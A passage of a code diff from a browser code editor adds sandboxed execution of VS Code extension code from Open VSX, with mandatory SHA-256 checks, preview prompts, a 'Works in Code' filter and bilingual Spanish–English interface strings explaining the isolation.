5+// El código de las extensiones (nivel 2) lo lleva ../ext2/host2.js, que solo
6+// se importa con alguna con su código encendido o al pedir algo de eso.
7+//
58 // ide.js lo carga solo si hay alguna extensión activa (o un tema elegido) y el
69 // panel lo carga al abrirse: sin extensiones, el arranque de Code no cambia.
710 // Cada cambio (instalar, activar, desactivar, desinstalar) deshace lo aplicado
811 // y lo vuelve a aplicar desde cero, de uno en uno: más simple y sin restos.
912 // Las gramáticas solo se rehacen si su lista cambia.
1013 import * as store from './store.js';
14+import * as maindb from '../db.js';
1115 import { BASES, builtinTheme, toMonacoTheme, toTextMateTheme, chromeCss, themeIdFor } from './themes.js';
1216 import { registerSnippets } from './snippets.js';
1317 import { toLanguageConfiguration, matchLanguage, firstLineCandidates } from './languages.js';
@@ -78,6 +82,7 @@
7882
7983 async function crear(monaco, { onLanguagesChanged = () => {} } = {}) {
8084 const paused = /[?&]noext\b/.test(location.search);
85+ const sinCodigo = /[?&]noext2(?:[=&]|$)/.test(location.search);
8186 const builtin = new Set(monaco.languages.getLanguages().map(l => l.id));
8287 const registrados = new Set(); // lenguajes que registramos (Monaco no permite quitarlos)
8388 const listeners = new Set();
@@ -86,7 +91,8 @@
8691 let langContribs = [];
8792 let themeIndex = new Map(); // id de tema → { key, label, uiTheme, ext, extName }
8893 let pref = leePref();
89- let actual = 'vs-dark', monacoId = 'vs-dark';
94+ let actual = 'vs-dark', monacoId = 'vs-dark', uiTheme = 'vs-dark';
95+ let n2 = null, dos = null; // ../ext2/host2.js: su carga, y ya cargado
9096 let estilo = null;
9197 let firmaGramaticas = '[]';
9298 let cola = Promise.resolve(); // los cambios se aplican de uno en uno
@@ -132,6 +138,8 @@
132138 actual = elegido;
133139 monacoId = mid;
134140 pintaCromo(tema, elegido);
141+ uiTheme = tema.uiTheme;
142+ dos?.setTheme(uiTheme);
135143 if (guardar) guardaPref(elegido);
136144 return elegido;
137145 }
@@ -186,8 +194,27 @@
186194 for (const f of listeners) { try { f(); } catch { /* un oyente roto no para al resto */ } }
187195 try { onLanguagesChanged(); } catch { /* — */ }
188196 };
197+
198+ // ── nivel 2 ──
199+ const oyentesCodigo = new Set(); // el panel: estado del recinto
200+ const nivelDos = () => (n2 ??= import('../ext2/host2.js').then(m => (dos = m.attach({
201+ monaco, exts: () => exts, recarga, emit, paused, sinCodigo, listeners: oyentesCodigo, uiTheme: () => uiTheme,
202+ }))));
203+ const deDos = f => (...a) => nivelDos().then(d => d[f](...a));
204+ function sincronizaCodigo() {
205+ if (n2 || (!paused && !sinCodigo && exts.some(e => e.enabled && e.runs))) deDos('sync')().catch(e => console.warn('[elffuss-ext] nivel 2:', e?.message || e));
206+ }
207+ // Con alguna extensión con código instalada, la vista previa HTML de un
208+ // fichero en el que entró texto suyo (kv «x2.touched») pregunta antes.
209+ async function guardaVistaPrevia() {
210+ (await import('../ide.js')).setBeforePreview(exts.some(e => e.code) ? async path => {
211+ const marcas = await maindb.get('kv', 'x2.touched').catch(() => null);
212+ return !marcas?.[path] || (await import('../ext2/gates.js')).allowPreview(path);
213+ } : null);
214+ }
215+
189216 function recarga() {
190- const r = cola.then(async () => { exts = await store.list(); await reaplica(); });
217+ const r = cola.then(async () => { exts = await store.list(); await reaplica(); sincronizaCodigo(); await guardaVistaPrevia(); });
191218 cola = r.catch(() => {});
192219 return r.then(emit);
193220 }
@@ -196,10 +223,14 @@
196223 try { await store.reconcile(); } catch (e) { console.warn('[elffuss-ext] no pude ordenar las extensiones guardadas:', e?.message || e); }
197224 exts = await store.list().catch(() => []);
198225 await reaplica();
226+ sincronizaCodigo();
227+ guardaVistaPrevia().catch(() => {});
199228
200229 const quitaTemasDe = id => { if (themeIndex.get(pref)?.ext === id) guardaPref('vs-dark'); };
201230
202- async function install(src, { onProgress, confirmLarge, signal } = {}) {
231+ // Instalar: lo declarativo y, con `withCode` (aceptado por el usuario), su
232+ // código vía host2.js, con la suma SHA-256 publicada obligatoria.
233+ async function install(src, { onProgress, confirmLarge, signal, withCode = false } = {}) {
203234 let bytes, sha256, verified = false, source = 'file', meta = null;
204235 const ovsx = await import('./openvsx.js');
205236 if (src instanceof Blob) {
@@ -207,7 +238,7 @@
207238 sha256 = await ovsx.sha256Hex(bytes);
208239 } else {
209240 meta = await ovsx.metadata(src.namespace, src.name, src.version || '', { signal });
210- ({ bytes, sha256, verified } = await ovsx.download(meta, { onProgress, confirmLarge, signal }));
241+ ({ bytes, sha256, verified } = await ovsx.download(meta, { onProgress, confirmLarge, signal, requireHash: withCode }));
211242 source = 'open-vsx';
212243 }
213244 const { readVsix } = await import('./vsix.js');
@@ -215,21 +246,25 @@
215246 if (meta && v.id !== `${meta.namespace}.${meta.name}`.toLowerCase()) {
216247 throw Object.assign(new Error(`el paquete dice ser ${v.id}, no ${meta.namespace}.${meta.name}`), { code: 'mismatch', got: v.id, want: `${meta.namespace}.${meta.name}` });
217248 }
249+ const previo = exts.find(e => e.id === v.id);
250+ const codigo = withCode ? await deDos('codeFiles')(v, bytes, previo) : null;
218251 // lo que el usuario VERÍA: temas, snippets, resaltado de un lenguaje o los
219252 // ajustes de uno nuevo. Un lenguaje que solo asocia extensiones de fichero
220253 // no cambia nada en pantalla; si además el valor de la extensión es su
221- // código, instalarla sería inútil y se dice en vez de fingir que funciona.
254+ // código y NO se instala con él (nivel 2), instalarla sería inútil y se dice
255+ // en vez de fingir que funciona.
222256 const seVe = v.themes.length || v.snippets.length
223257 || v.grammars.some(g => g.language && !(builtin.has(g.language) && !canOverride(monaco, g.language)))
224258 || v.languages.some(l => l.config && !builtin.has(l.id));
225- if (!seVe && v.analysis.hasCode) throw Object.assign(new Error('codeonly'), { code: 'codeonly', analysis: v.analysis, displayName: v.displayName });
226- if (!v.themes.length && !v.grammars.length && !v.snippets.length && !v.languages.length) {
259+ if (!withCode && !seVe && v.analysis.hasCode) throw Object.assign(new Error('codeonly'), { code: 'codeonly', analysis: v.analysis, displayName: v.displayName });
260+ if (!withCode && !v.themes.length && !v.grammars.length && !v.snippets.length && !v.languages.length) {
227261 // declaraba cosas aplicables pero ninguna se pudo leer: no es lo mismo
228262 // que no traer nada, y el usuario tiene que saber por qué
229263 if (v.warnings.length) throw Object.assign(new Error('unreadable'), { code: 'unreadable', warning: v.warnings[0], warnings: v.warnings });
264+ // solo trae código para el navegador: eso se instala desde «… y ejecutar su código»
265+ if (typeof v.manifest.browser === 'string') throw Object.assign(new Error('code-only'), { code: 'codeonly' });
230266 throw Object.assign(new Error('nothing-applies'), { code: 'nothing' });
231267 }
232- const previo = exts.find(e => e.id === v.id);
233268 const usados = new Set(exts.filter(e => e.id !== v.id).flatMap(e => (e.themes || []).map(t => t.themeId)));
234269 const files = new Map();
235270 const k = p => store.fileKey(v.id, v.version, p);
@@ -238,7 +273,7 @@
238273 displayName: v.displayName, description: v.description.slice(0, 500),
239274 license: (meta?.license || v.license || '').slice(0, 200), sha256, verified, source, size: bytes.length,
240275 installedAt: previo?.installedAt || Date.now(), enabled: previo ? previo.enabled : true,
241- hasCode: v.analysis.hasCode, ignored: v.analysis.ignored, pack: v.analysis.pack, warnings: v.warnings.slice(0, 20),
276+ hasCode: v.analysis.hasCode, browser: typeof v.manifest.browser === 'string', ignored: v.analysis.ignored, pack: v.analysis.pack, warnings: v.warnings.slice(0, 20),
242277 categories: v.analysis.categories, sizes: v.analysis.sizes, webviews: v.analysis.webviews, browserEntry: v.analysis.browserEntry,
243278 themes: v.themes.map(t => { const key = k('theme/' + t.index); files.set(key, t.data); return { key, label: t.label, uiTheme: t.uiTheme, themeId: themeIdFor(v.id, t, t.index, usados) }; }),
244279 grammars: v.grammars.map(g => {
@@ -254,6 +289,7 @@
254289 licenseKey: null,
255290 };
256291 if (v.licenseText) { rec.licenseKey = k('LICENSE'); files.set(rec.licenseKey, v.licenseText); }
292+ if (codigo) { for (const [key, d] of codigo.files) files.set(key, d); Object.assign(rec, codigo.fields); }
257293 await store.put(rec, files);
258294 await recarga();
259295 return rec;
@@ -276,6 +312,12 @@
276312 list: () => exts.map(e => ({ ...e })),
277313 onChange(fn) { listeners.add(fn); return () => listeners.delete(fn); },
278314 install, setEnabled, uninstall,
315+ // nivel 2 (host2.js)
316+ setRuns: deDos('setRuns'), setSettings: deDos('setSettings'), setFormatter: deDos('setFormatter'), codeRuntime: deDos('runtime'),
317+ codeState: () => (dos ? dos.state() : { state: 'stopped', extensions: [], commands: [] }),
318+ codeCommands: () => (dos ? dos.commands() : []),
319+ onCodeChange(fn) { oyentesCodigo.add(fn); return () => oyentesCodigo.delete(fn); },
320+ noCode: paused || sinCodigo,
279321 licenseText: async id => { const e = exts.find(x => x.id === id); return e?.licenseKey ? (await store.getFile(e.licenseKey)) || '' : ''; },
280322 themes: () => [
281323 ...BASES.map(id => ({ id, builtin: true, labelKey: nombresSerie[id], uiTheme: id })),
modified web/js/ext/i18n.js +37 −2
@@ -5,7 +5,7 @@
55 const L = {
66 es: {
77 title: 'Extensiones', sub: 'Open VSX',
8- intro: 'Temas de color, gramáticas, snippets y ajustes de lenguaje de extensiones de VS Code. Aquí no se ejecuta el código de ninguna extensión, y tu proyecto no sale del navegador: a Open VSX solo va lo que buscas y lo que instalas.',
8+ intro: 'Temas de color, gramáticas, snippets y ajustes de lenguaje de extensiones de VS Code. El código de una extensión no se ejecuta salvo que lo enciendas para ella, y entonces solo en un recinto sellado sin internet; tu proyecto no sale del navegador: a Open VSX solo va lo que buscas y lo que instalas.',
99 paused: 'Extensiones en pausa en esta sesión (?noext): no se aplica ninguna. Puedes desactivarlas o desinstalarlas.',
1010 searchPh: 'Buscar extensiones en Open VSX…',
1111 catAll: 'Todo', catThemes: 'Temas', catSnippets: 'Snippets', catLangs: 'Lenguajes',
@@ -46,6 +46,9 @@
4646 keepsBuiltin: 'Code ya resalta {list} a su manera y lo mantiene.',
4747 installOnlyThemes: 'Instalar solo los temas', installOnlyHighlight: 'Instalar solo el resaltado', installOnlySnippets: 'Instalar solo los snippets',
4848 installOnlyWorking: 'Instalar solo lo que funciona', notHere: 'No funciona en Code', nothingHere: 'Nada que aplicar',
49+ vBrowserCode: 'Trae código para el navegador, que puede ejecutarse en el recinto de Code. Abre su detalle para ver si aquí corre.',
50+ // las cuentas de lo declarativo que usa el nivel 2 (ext2/manage.js)
51+ themes: '{n} tema|{n} temas', grammars: '{n} gramática|{n} gramáticas', languages: '{n} lenguaje|{n} lenguajes',
4952 errCodeOnly: '«{name}» no se ha instalado.',
5053 cThemeApplied: 'Tema «{name}» aplicado.', cThemeReady: 'Tema «{name}» listo para usar.', cThemesReady: '{n} temas listos: {list}.',
5154 bApplyNow: 'Aplicar ahora', bUndo: 'Deshacer', bPickTheme: 'Elegir tema…',
@@ -94,10 +97,24 @@
9497 pickPh: 'Tema de color (↑↓ para previsualizar, Enter para elegir)', builtinGroup: 'Integrados',
9598 builtinDark: 'Oscuro (por defecto)', builtinLight: 'Claro', builtinHc: 'Alto contraste oscuro', builtinHcLight: 'Alto contraste claro',
9699 current: 'actual', palExt: 'Extensiones…', palTheme: 'Tema de color…',
100+ // nivel 2: lo que el panel enseña a todos (lo demás, en ../ext2/strings.js)
101+ introCode: 'Los temas, gramáticas, snippets y ajustes de lenguaje de las extensiones de VS Code se aplican directamente. Las que traen código para navegador pueden ejecutarlo si lo permites, pero solo en un recinto sellado en otro sitio: no tiene internet, no puede leer el almacenamiento de Code (tus proyectos, conversaciones o claves), solo ve los ficheros que tienes abiertos y no puede guardar nada; sus cambios quedan sin guardar hasta que tú guardas. Los enlaces que quiera abrir te preguntan antes y muestran la dirección completa. A Open VSX solo va lo que buscas y lo que instalas, y, con el filtro «Funciona en Code», los manifiestos de los resultados que comprueba.',
102+ isoTitle: 'Cómo se aíslan las extensiones',
103+ iso1: 'El código de una extensión corre en un recinto en otro sitio web, sin ningún host en su política de seguridad: no puede pedir nada a internet, ni a Open VSX, ni a este servidor.',
104+ iso2: 'Es otro sitio: no puede leer el almacenamiento de Code (proyectos, conversaciones, claves, modelos).',
105+ iso3: 'Solo ve los ficheros que tienes abiertos; sus cambios quedan sin guardar hasta que guardas tú. No puede guardar.',
106+ iso4: 'Lo que enseña (avisos, ayudas, diagnósticos) se pinta como texto: sin imágenes remotas ni enlaces que salgan solos.',
107+ iso5: 'Abrir una dirección siempre pregunta antes y enseña la dirección entera. La vista previa de un fichero que cambió una extensión, y las peticiones web del agente, también preguntan.',
108+ iso6: 'Quitar una extensión borra sus ficheros; apagar su código lo para en el acto, sin recargar (el recinto vuelve a arrancar con las demás, si las hay).',
109+ chipWorks: 'Funciona en Code',
110+ worksPrivacy: 'A Open VSX también le llegan las consultas de los manifiestos de estos resultados.',
111+ worksChecked: '{k} funcionan · comprobadas {n} de {total}',
112+ worksNone: 'Ninguna funciona en Code (comprobadas {n} de {total}).',
113+ errCodeonly: 'Solo trae código: usa «Instalar y ejecutar su código…».',
97114 },
98115 en: {
99116 title: 'Extensions', sub: 'Open VSX',
100- intro: 'Color themes, grammars, snippets and language settings from VS Code extensions. No extension code runs here, and your project never leaves the browser: Open VSX only sees what you search for and what you install.',
117+ intro: 'Color themes, grammars, snippets and language settings from VS Code extensions. No extension code runs unless you turn it on for one extension, and then only in a sealed sandbox with no internet; your project never leaves the browser: Open VSX only sees what you search for and what you install.',
101118 paused: 'Extensions are paused for this session (?noext): none is applied. You can still disable or uninstall them.',
102119 searchPh: 'Search extensions on Open VSX…',
103120 catAll: 'All', catThemes: 'Themes', catSnippets: 'Snippets', catLangs: 'Languages',
@@ -138,6 +155,8 @@
138155 keepsBuiltin: 'Code already highlights {list} its own way and keeps it.',
139156 installOnlyThemes: 'Install only the themes', installOnlyHighlight: 'Install only the highlighting', installOnlySnippets: 'Install only the snippets',
140157 installOnlyWorking: 'Install only what works', notHere: 'Does not work in Code', nothingHere: 'Nothing to apply',
158+ vBrowserCode: 'Ships browser code, which can run in Code’s sandbox. Open its details to see whether it runs here.',
159+ themes: '{n} theme|{n} themes', grammars: '{n} grammar|{n} grammars', languages: '{n} language|{n} languages',
141160 errCodeOnly: '“{name}” was not installed.',
142161 cThemeApplied: 'Theme “{name}” applied.', cThemeReady: 'Theme “{name}” is ready to use.', cThemesReady: '{n} themes ready: {list}.',
143162 bApplyNow: 'Apply now', bUndo: 'Undo', bPickTheme: 'Choose theme…',
@@ -186,9 +205,25 @@
186205 pickPh: 'Color theme (↑↓ to preview, Enter to select)', builtinGroup: 'Built-in',
187206 builtinDark: 'Dark (default)', builtinLight: 'Light', builtinHc: 'Dark High Contrast', builtinHcLight: 'Light High Contrast',
188207 current: 'current', palExt: 'Extensions…', palTheme: 'Color Theme…',
208+ // level 2: what the panel shows everyone (the rest is in ../ext2/strings.js)
209+ introCode: 'Themes, grammars, snippets and language settings from VS Code extensions apply directly. Extensions that bring browser code can also run it if you allow it, but only in a sealed sandbox on a separate site: it has no internet access, can’t read Code’s storage (your projects, conversations or keys), sees only the files you have open and can’t save anything; its changes stay unsaved until you save them. Links it wants to open ask you first and show the full address. Open VSX only sees what you search for and what you install, and, with the “Works in Code” filter on, the manifests of the results it checks.',
210+ isoTitle: 'How extensions are isolated',
211+ iso1: 'An extension’s code runs in a sandbox on another website, with no host in its security policy: it can’t request anything from the internet, from Open VSX or from this server.',
212+ iso2: 'It is another site: it can’t read Code’s storage (projects, conversations, keys, models).',
213+ iso3: 'It sees only the files you have open; its changes stay unsaved until you save. It can’t save.',
214+ iso4: 'What it shows (notifications, hovers, diagnostics) is drawn as text: no remote images and no links that open on their own.',
215+ iso5: 'Opening an address always asks first and shows the whole address. Previewing a file an extension changed, and the agent’s web requests, ask too.',
216+ iso6: 'Uninstalling an extension deletes its files; turning its code off stops it at once, without a reload (the sandbox starts again with the others, if any).',
217+ chipWorks: 'Works in Code',
218+ worksPrivacy: 'Open VSX also sees the manifest lookups for these results.',
219+ worksChecked: '{k} work · checked {n} of {total}',
220+ worksNone: 'None of them works in Code (checked {n} of {total}).',
221+ errCodeonly: 'It only brings code: use “Install and run its code…”.',
189222 },
190223 };
191224
225+// los del nivel 2 (../ext2/strings.js) se añaden al cargarse
226+export function addStrings(t) { for (const lang of Object.keys(L)) Object.assign(L[lang], t[lang] || {}); }
192227 export const STRINGS = L; // para comprobar en las pruebas que ES y EN tienen las mismas claves
193228
194229 export function tx(key, vars) {
modified web/js/ext/openvsx.js +5 −1
@@ -92,8 +92,11 @@
9292
9393 // Baja el .vsix y comprueba su SHA-256 contra la que publica Open VSX.
9494 // `confirmLarge(mb)` decide si seguir con uno de más de 25 MB.
95-export async function download(meta, { onProgress = () => {}, confirmLarge = async () => false, signal } = {}) {
95+// `requireHash` (instalar para ejecutar su código): sin suma publicada, o si
96+// la publicada no se pudo leer, NO se instala (falla cerrado).
97+export async function download(meta, { onProgress = () => {}, confirmLarge = async () => false, signal, requireHash = false } = {}) {
9698 if (!meta.files.download) throw new OpenVsxError('esta versión no se puede descargar', 'notfound');
99+ if (requireHash && !meta.files.sha256) throw new OpenVsxError('Open VSX no publica la suma SHA-256 de esta versión', 'nosha');
97100 const ctl = new AbortController();
98101 signal?.addEventListener('abort', () => ctl.abort(), { once: true });
99102 let res;
@@ -125,6 +128,7 @@
125128 catch { publicada = null; }
126129 if (!/^[0-9a-f]{64}$/.test(publicada || '')) publicada = null; // no es una suma: como si no la publicara
127130 }
131+ if (requireHash && !publicada) throw new OpenVsxError('no se pudo leer la suma SHA-256 publicada', 'nosha');
128132 if (publicada && publicada !== sha) throw new OpenVsxError('la suma SHA-256 no coincide con la publicada', 'sha');
129133 return { bytes, sha256: sha, verified: !!publicada };
130134 }
modified web/js/ext/panel.js +236 −30
@@ -7,6 +7,13 @@
77 // Teclado y lector de pantalla: todo lo que se pulsa es un botón (o un
88 // <summary>), los resultados y avisos se anuncian (role=status/alert), el
99 // foco no se pierde al repintar ni al cerrar, y Escape cierra el panel.
10+//
11+// Extensiones con código (nivel 2): lo que funcionará de cada una, el filtro
12+// «Funciona en Code», el consentimiento y los mandos de las instaladas viven en
13+// ../ext2/manage.js, que solo se carga cuando hace falta (al desplegar un
14+// detalle, con el filtro, al pedir ejecutar código o si ya hay alguna). El
15+// filtro de siempre («solo las que funcionan») cuenta como que funciona lo que
16+// el nivel 2 puede ejecutar, en cuanto lo sabe.
1017 import { tx } from './i18n.js';
1118 import { uiLang } from '../i18n.js';
1219 import { describe, lista, listaO, works, languageName, languageExts, factsFromManifest, factsFromRecord } from './verdict.js';
@@ -17,15 +24,19 @@
1724 const $ = id => document.getElementById(id);
1825 const el = (tag, cls, txt) => { const e = document.createElement(tag); if (cls) e.className = cls; if (txt != null) e.textContent = txt; return e; };
1926 const CATS = [['', 'catAll'], ['Themes', 'catThemes'], ['Snippets', 'catSnippets'], ['Programming Languages', 'catLangs']];
27+const gestor = () => import('../ext2/manage.js');
2028
2129 let host = null;
2230 let cssPuesto = false;
23-const estado = { q: '', cat: null, items: [], total: 0, cargando: false, msg: null, ctl: null, solo: leeSolo(), objetivo: 0, auto: 0 };
2431 // «Solo las que funcionan en Code»: encendido salvo que quien usa el panel lo
25-// apagara (se recuerda en este navegador, si se puede)
32+// apagara (se recuerda en este navegador, si se puede). Va ANTES de `estado`:
33+// estaba después, y `leeSolo()` leía la constante antes de existir; el catch
34+// se tragaba el error y devolvía true, así que apagarlo no se recordaba nunca.
2635 const CLAVE_SOLO = 'elffusscode.ext.onlyWorks';
2736 function leeSolo() { try { return localStorage.getItem(CLAVE_SOLO) !== '0'; } catch { return true; } }
2837 function guardaSolo(v) { try { localStorage.setItem(CLAVE_SOLO, v ? '1' : '0'); } catch { /* sin almacenamiento: solo esta sesión */ } }
38+const estado = { q: '', cat: null, items: [], total: 0, cargando: false, msg: null, ctl: null, solo: leeSolo(), objetivo: 0, auto: 0, works: false, checked: 0, cls: new Map() };
39+let bajas = []; // suscripciones de los mandos de código (se sueltan al repintar)
2940 const POR_PAGINA = 20; // filas que se quieren ver por tanda
3041 const MAX_AUTO = 3; // páginas que se piden solas para llenarla
3142
@@ -61,7 +72,7 @@
6172 return true;
6273 };
6374
64-export function open(h, { themes = false } = {}) {
75+export async function open(h, { themes = false } = {}) {
6576 host = h;
6677 ponCss();
6778 desuscribe?.();
@@ -70,6 +81,8 @@
7081 const box = $('settings-panel');
7182 if (!$('ext-panel')?.isConnected || box.hidden) abridor = document.activeElement;
7283 estado.msg = null; // un aviso viejo no se repite al volver a abrir
84+ // con alguna extensión con código instalada, sus mandos se pintan ya
85+ if (!m2 && h.list().some(e => e.code || e.browser)) { try { m2 = await gestor(); } catch { /* sin mandos de código */ } }
7386 pinta();
7487 if (!ideCargado) ide().then(m => { ideCargado = m; if ($('ext-panel')?.isConnected) pintaInstaladas(); });
7588 }
@@ -86,6 +99,8 @@
8699 const ERRORES = {
87100 rate: 'errRate', sha: 'errSha', nothing: 'errNothing', notvsix: 'errNotVsix', notfound: 'errNotFound',
88101 big: 'errBig', noname: 'errNoName', blocked: 'errBlocked', codeonly: 'notHere',
102+ nosha: 'errNosha', nocode: 'errNocode', noentry: 'errNoentry',
103+ 'x2-site': 'x2Unavail_site', 'x2-browser': 'x2Unavail_browser', 'x2-off': 'x2Unavail_off', 'x2-url': 'x2Unavail_url',
89104 };
90105 export function textoError(e) {
91106 const code = e?.code;
@@ -100,6 +115,7 @@
100115 case 'badmanifest': return tx('errBadManifest', { e: e.message });
101116 case 'unreadable': return tx('errUnreadable', { w: e.warning ? textoAviso(e.warning) : '' }).trim();
102117 }
118+ if (m2?.isRuntimeError(e)) return m2.runtimeErrorText(e);
103119 return tx('err', { e: e?.message || String(e) });
104120 }
105121 // Una parte del paquete que no se pudo usar (vsix.js: { kind, name, code, detail }).
@@ -200,7 +216,17 @@
200216 const h3 = el('h3', null, tx('title') + ' ');
201217 h3.id = 'ext-title';
202218 h3.appendChild(el('span', 'muted', '· ' + tx('sub')));
203- wrap.append(h3, el('p', 'muted ext-intro', tx('intro')));
219+ // con alguna extensión con código instalada, la explicación cambia
220+ const conCodigo = host.list().some(e => e.code);
221+ wrap.append(h3, el('p', 'muted ext-intro', tx(conCodigo ? 'introCode' : 'intro')));
222+ const iso = el('details', 'ext-iso');
223+ const isoS = el('summary', null, tx('isoTitle'));
224+ isoS.dataset.k = 'iso';
225+ iso.appendChild(isoS);
226+ const isoUl = el('ul');
227+ for (const k of ['iso1', 'iso2', 'iso3', 'iso4', 'iso5', 'iso6']) isoUl.appendChild(el('li', null, tx(k)));
228+ iso.appendChild(isoUl);
229+ wrap.appendChild(iso);
204230 if (host.paused) wrap.appendChild(el('p', 'ext-paused', tx('paused')));
205231
206232 const barra = el('div', 'ext-toolbar');
@@ -242,8 +268,26 @@
242268 c.onclick = () => { estado.cat = estado.cat === cat && cat ? '' : cat; busca_(); };
243269 chips.appendChild(c);
244270 }
271+ // «Funciona en Code»: comprueba también el CÓDIGO de cada resultado (nivel 2)
272+ // y esconde lo que no funcionaría aquí. Open VSX ve esas consultas: se dice.
273+ const works = el('button', 'ext-chip ext-works' + (estado.works ? ' on' : ''), tx('chipWorks'));
274+ works.type = 'button';
275+ works.id = 'ext-works';
276+ works.setAttribute('aria-pressed', String(estado.works));
277+ works.onclick = () => {
278+ estado.works = !estado.works;
279+ works.classList.toggle('on', estado.works);
280+ works.setAttribute('aria-pressed', String(estado.works));
281+ $('ext-works-note').hidden = !estado.works;
282+ busca_();
283+ };
284+ chips.appendChild(works);
245285 busca.append(inp, chips);
246286 wrap.appendChild(busca);
287+ const nota = el('p', 'muted ext-works-note', tx('worksPrivacy'));
288+ nota.id = 'ext-works-note';
289+ nota.hidden = !estado.works;
290+ wrap.appendChild(nota);
247291 const filtro = el('label', 'ext-filter');
248292 const solo = el('input');
249293 solo.type = 'checkbox';
@@ -282,12 +326,12 @@
282326 const ctl = new AbortController();
283327 estado.ctl = ctl;
284328 // solo las categorías: las fichas de tema de «Instaladas» también son .ext-chip
285- for (const c of document.querySelectorAll('#ext-panel .ext-search .ext-chip')) {
329+ for (const c of document.querySelectorAll('#ext-panel .ext-search .ext-chip[data-cat]')) {
286330 const on = c.dataset.cat === (estado.cat || '') && estado.cat != null;
287331 c.classList.toggle('on', on);
288332 c.setAttribute('aria-pressed', String(on));
289333 }
290- if (!mas) { estado.objetivo = POR_PAGINA; estado.auto = 0; }
334+ if (!mas) { estado.objetivo = POR_PAGINA; estado.auto = 0; estado.checked = 0; }
291335 // sin buscar nada: la lista de populares que funcionan, ya calculada
292336 if (mostrandoPopulares()) { estado.items = []; estado.total = 0; estado.cargando = false; pintaResultados(); return; }
293337 const ovsx = await import('./openvsx.js');
@@ -305,6 +349,7 @@
305349 nuevos = mas ? r.items.filter(it => !ya.has(claveDe(it))) : r.items;
306350 estado.items = mas ? estado.items.concat(nuevos) : r.items;
307351 estado.total = mas && !r.items.length ? estado.items.length : r.total;
352+ if (estado.works && nuevos.length) clasificaNivel2(nuevos, ctl);
308353 } catch (e) {
309354 if (e.name === 'AbortError') return;
310355 aviso(textoError(e), true);
@@ -330,19 +375,32 @@
330375 for (const row of document.querySelectorAll('#ext-list .ext-row')) filtraFila(row);
331376 pintaPie();
332377 }
378+// Lo que se sabe de un resultado, con los dos filtros. El nivel 2 (estado.cls,
379+// por id@versión en minúsculas) manda cuando ya ha mirado: lo que su código
380+// puede ejecutar aquí FUNCIONA, aunque lo declarativo no aporte nada.
381+// pendiente: falta algún dato que el filtro encendido necesita
382+// visible: pasa los filtros encendidos
383+function situacion(key, popular = false) {
384+ const c = estado.cls.get(key.toLowerCase());
385+ let w = veredictos.get(key);
386+ if (c?.works) w = true;
387+ const pendiente = (estado.solo && !popular && w === undefined) || (estado.works && c === undefined);
388+ const pasaSolo = !estado.solo || popular || (w !== undefined && w !== false);
389+ const pasaCodigo = !estado.works || c === null || !!c?.works;
390+ return { pendiente, visible: !pendiente && pasaSolo && pasaCodigo };
391+}
333392 function filtraFila(row) {
334- const w = veredictos.get(row.dataset.key);
335- row.hidden = estado.solo && !row.dataset.popular && (w === undefined || w === false);
393+ row.hidden = !situacion(row.dataset.key, !!row.dataset.popular).visible;
336394 }
337395 function cuentas() {
338396 let pendientes = 0, ocultas = 0, visibles = 0;
339397 for (const it of estado.items) {
340- const w = veredictos.get(claveDe(it));
341- if (w === undefined) pendientes++;
342- else if (w === false) ocultas++;
343- else visibles++;
398+ const s = situacion(claveDe(it));
399+ if (s.pendiente) pendientes++;
400+ else if (s.visible) visibles++;
401+ else ocultas++;
344402 }
345- return { pendientes, ocultas, visibles: estado.solo ? visibles : estado.items.length };
403+ return { pendientes, ocultas, visibles: estado.solo || estado.works ? visibles : estado.items.length };
346404 }
347405 let piePendiente = false;
348406 function programaPie() {
@@ -359,21 +417,26 @@
359417 const { pendientes, ocultas, visibles } = cuentas();
360418 const quedan = estado.items.length < estado.total;
361419 ocultasBox.replaceChildren();
362- ocultasBox.hidden = !(estado.solo && ocultas);
363- if (estado.solo && ocultas) {
420+ ocultasBox.hidden = !((estado.solo || estado.works) && ocultas);
421+ if ((estado.solo || estado.works) && ocultas) {
364422 ocultasBox.append(tx('hiddenN', { n: ocultas }) + ' · ');
365423 const b = el('button', 'ext-link', tx('showHidden'));
366424 b.type = 'button';
367425 b.id = 'ext-show-hidden';
368426 b.setAttribute('aria-label', tx('showHiddenNamed', { n: ocultas }));
369- b.onclick = () => { ponSolo(false); $('ext-only-works')?.focus(); };
427+ b.onclick = () => {
428+ if (estado.works) $('ext-works')?.click();
429+ ponSolo(false);
430+ $('ext-only-works')?.focus();
431+ };
370432 ocultasBox.appendChild(b);
371433 }
372434 // ¿llenar la tanda? solo con el filtro, cuando ya se sabe todo lo pedido
373- const llenando = estado.solo && !pendientes && visibles < estado.objetivo && quedan && !estado.cargando && estado.auto < MAX_AUTO;
435+ const filtrando = estado.solo || estado.works;
436+ const llenando = filtrando && !pendientes && visibles < estado.objetivo && quedan && !estado.cargando && estado.auto < MAX_AUTO;
374437 pie.replaceChildren();
375- if (estado.cargando || (estado.solo && pendientes) || llenando) pie.appendChild(el('div', 'muted ext-hint', tx(estado.solo ? 'checking' : 'searching')));
376- else if (estado.solo && !visibles && estado.items.length) pie.appendChild(el('div', 'muted ext-hint', tx(quedan ? 'noneWorkYet' : 'noneWork', { n: estado.items.length })));
438+ if (estado.cargando || (filtrando && pendientes) || llenando) pie.appendChild(el('div', 'muted ext-hint', tx(filtrando ? 'checking' : 'searching')));
439+ else if (filtrando && !visibles && estado.items.length) pie.appendChild(el('div', 'muted ext-hint', tx(quedan ? 'noneWorkYet' : 'noneWork', { n: estado.items.length })));
377440 if (!estado.cargando && !llenando && quedan) {
378441 const mas = el('button', 'ghost ext-more', tx('more'));
379442 mas.type = 'button';
@@ -385,8 +448,10 @@
385448 // el botón que tenía el foco ya no está: a la primera fila que se ve
386449 ([...document.querySelectorAll('#ext-list .ext-row:not([hidden]) .ext-name')].pop() || $('ext-only-works'))?.focus();
387450 }
451+ const cab = $('ext-results-h');
452+ if (cab) cab.textContent = estado.works ? tx('worksChecked', { k: visibles, n: estado.checked, total: estado.total }) : estado.q ? tx('results', { n: estado.total }) : tx('popular');
388453 if (!pendientes && !estado.cargando) {
389- anunciaBusqueda(tx('results', { n: estado.total }) + (estado.solo && ocultas ? ' · ' + tx('hiddenN', { n: ocultas }) : ''));
454+ anunciaBusqueda(estado.works ? cab?.textContent || '' : tx('results', { n: estado.total }) + (estado.solo && ocultas ? ' · ' + tx('hiddenN', { n: ocultas }) : ''));
390455 }
391456 if (llenando) { estado.auto++; busca_({ mas: true }); }
392457 }
@@ -448,7 +513,9 @@
448513 } else anunciaBusqueda('');
449514 return;
450515 }
451- res.appendChild(el('div', 'sk-h', estado.q ? tx('results', { n: estado.total }) : tx('popular')));
